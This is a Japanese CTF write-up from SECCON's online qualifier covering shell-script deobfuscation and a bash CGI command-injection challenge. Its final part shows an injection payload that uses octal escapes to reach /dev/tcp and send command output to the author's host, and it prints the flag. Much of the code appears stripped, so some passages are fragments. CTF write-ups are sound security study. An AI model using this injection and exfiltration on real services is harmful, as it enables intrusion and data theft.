Saito今年もSECCONオンライン予選にm1z0r3として参加しました。自分がフラグを獲得できた問題のWrite-upを記録します。(取り急ぎ最初の2問を掲載します。web_searchは後ほど追記します。)追記:web_searchについては「明日にしよう、明日にしようとどんどん先延ばしにしていた」ら忘れてしまったので諦めます。普段はWeb/Forensic担当なのですが、完全にシェル芸担当でしたね...Beeeeeeeeeer最初見た時、テーマが難読化シェル芸だったのでびっくりしました。敷き詰められたシェルスクリプトあまり文は多くなさそうだったので、一つ一つ文を分けて解読しました。大体は文頭にechoをつけてあげればOKです。$'\72'とか$'\u003A'はデコードすると:になり、いわばNOPのコマンドなので基本無視(本当は引数で副作用のあるコマンドを実行していることもあるので要警戒だが、後ろの方は特になかった)。S1=hogefugaしていることに注意。最後の1行を展開して読みやすくします。|bashここでも無駄な処理があるので消しつつデコード。ここではn(つまり3)をexportしている。専攻分野が出てきて変な声出た(詳しくは自分のブログを参照)。このシェルスクリプトは、最初に文字を一通りゲットして、次にその文字をつぎはぎすることで成立しています。bashpasswordはbashと書かれているのでもう解析不要。SECCON_multiplicater1つのcgiだけで完結している問題。肝心の処理部分を見ていきます。-i(整数型宣言)に潜んでおり、整数型宣言された変数への代入は、算術評価されてから行われるという点にあります。こちらのエントリに書かれています。代入するstringを全てevalするというわけではありませんが、それに近いことをする方法が一つ存在します。それが配列添字内でのevalです。ここでなんでもできる)]この代入式の評価は$()部分→配列インデックスの順になるため、$_が配列になっていなくても問題ありません。この手の問題は大体ファイルシステムにflagファイルがあるので、まずはlsを目指しましょう。英字が使えないことも念頭におく必要があります。-lしておいて、lsの結果をここに流してもらう作戦でいきます(>ではなく&>なのはstderrも補足したかったからです)。先述の通り英字を回避する方法を考えなくてはなりません。ここでBeeeeeeeeeerの問題が大きなヒントになっており、$'\nnn'の8進数表記が対応するasciiと等価であることに気づきます。&>/$'\144\145\166'/$'\164\143\160'/my.host.ip.address/port)]これをurlエンコードし、curlのpostで流す(ブラウザフォームから入力するとスペースが+になってしまうことがある)と、/flagがあることがわかります。/flagに変えて同じことをすれば、SECCON{Did_you_calculate_it?}を獲得できました。コメントをキャンセルメールアドレスが公開されることはありません。WordPress%d人のブロガーが「いいね」をつけました。